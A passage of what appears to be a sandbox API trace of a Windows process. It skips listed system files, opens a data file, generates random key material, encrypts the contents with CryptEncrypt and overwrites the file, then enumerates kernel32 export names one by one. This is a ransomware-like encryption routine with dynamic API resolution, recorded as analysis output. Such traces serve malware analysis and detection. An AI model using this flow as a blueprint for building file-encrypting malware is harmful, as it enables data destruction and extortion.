returned 1 [0130.887] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0130.887] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0130.887] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0130.887] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0130.887] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0130.887] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0130.887] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0130.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\") returned 27 [0130.887] lstrlenW (lpString="LocalizedData.xml") returned 17 [0130.887] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1045\\" | out: lpString1="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0130.887] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" [0130.887] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0130.888] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0130.888] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=82374) returned 1 [0130.888] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0130.888] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0131.204] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0131.204] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0131.204] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0131.205] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0131.205] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0131.307] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.307] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0131.308] CloseHandle (hObject=0x5f8) returned 1 [0131.308] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.308] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0131.309] CloseHandle (hObject=0x0) returned 0 [0131.309] CloseHandle (hObject=0x5f4) returned 1 [0131.311] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.312] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.312] GetTickCount () returned 0x36310 [0131.312] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0131.312] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0131.312] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0131.312] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0131.313] lstrlenA (lpString="kernel32.dll") returned 12 [0131.313] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0131.313] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0131.313] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0131.313] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0131.313] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0131.313] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0131.313] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0131.313] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0131.313] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0131.313] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0131.313] lstrlenA (lpString="ADDATOMA") returned 8 [0131.313] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0131.313] lstrlenA (lpString="ADDATOMW") returned 8 [0131.313] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0131.313] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0131.313] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0131.313] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0131.313] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0131.313] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0131.314] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0131.314] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0131.314] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0131.314] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0131.314] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0131.314] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0131.314] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0131.314] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0131.314] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0131.314] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0131.314] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0131.314] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0131.314] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0131.314] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0131.314] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0131.314] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0131.314] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0131.314] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0131.315] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0131.315] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0131.315] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0131.315] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0131.315] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0131.315] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0131.315] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0131.315] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0131.315] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0131.315] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0131.315] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0131.315] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0131.315] lstrlenA (lpString="BACKUPREAD") returned 10 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0131.315] lstrlenA (lpString="BACKUPSEEK") returned 10 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0131.315] lstrlenA (lpString="BACKUPWRITE") returned 11 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0131.315] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0131.315] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0131.315] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0131.316] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0131.316] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0131.316] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0131.316] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0131.316] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0131.316] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0131.316] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0131.316] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0131.316] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0131.316] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0131.316] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0131.316] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0131.316] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0131.316] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0131.316] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0131.316] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0131.316] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0131.317] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0131.317] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0131.317] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0131.317] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0131.317] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0131.317] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0131.317] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0131.317] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0131.317] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0131.317] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0131.317] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0131.317] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0131.317] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0131.317] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0131.317] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0131.317] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0131.317] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0131.317] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0131.318] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0131.318] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0131.318] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0131.318] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0131.318] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0131.318] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0131.318] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0131.318] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0131.318] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0131.318] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0131.318] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0131.318] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0131.318] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0131.318] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0131.318] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0131.318] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0131.318] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0131.318] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0131.318] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") 